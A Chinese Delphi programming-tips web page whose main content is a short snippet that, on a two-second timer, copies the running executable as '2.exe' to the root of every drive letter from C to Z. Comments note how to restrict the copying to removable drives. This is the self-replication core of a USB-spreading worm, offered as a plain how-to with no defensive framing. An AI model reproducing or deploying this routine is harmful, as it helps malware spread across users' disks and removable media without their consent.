delphi 利用for循环自我复制到全盘用timer监控


本文整理自网络,侵删。

 var
i:char;
s3:string;
//设为2秒
procedure TForm1.Timer1Timer(Sender: TObject); //每2秒运行1次
begin
for i:='C' to 'Z' do //注意下面的begin end;
begin
s3:=pchar(i+':\2.exe');
copyfile(pchar(application.Exename),pchar(s3),False);
if not Fileexists(s3) then
Timer1.Enabled:=true
else
Timer1.Enabled:=false;
end;
end;

end.
//移动硬盘返回 DRIVE_REMOVABLE
//本地硬盘返回 DRIVE_FIXED
//可选 if GETDRIVETYPE (PChar(i+':\'))=DRIVE_REMOVABLE then

相关阅读 >>

Delphi 判断当前活动窗口

Delphi 一个不错的枚举进程例子

Delphi里面判断一个字符串在另一个字符串中出现的次数

Delphi中查找指定文件的例程

Delphi 实现软件版验证码

Delphixe8中获取apk的签名信息

Delphi gethref 获取<a href="链接"></a>中href的数据

Delphi 网上获取北京时间idhttpserver and idhttp 使用 encoding utf8

Delphi 把字符串复制到剪贴板

Delphi-基础(for循环)

更多相关阅读请进入《Delphi》频道 >>



打赏

取消

感谢您的支持,我会继续努力的!

扫码支持
扫码打赏,您说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

分享从这里开始,精彩与您同在

评论

管理员已关闭评论功能...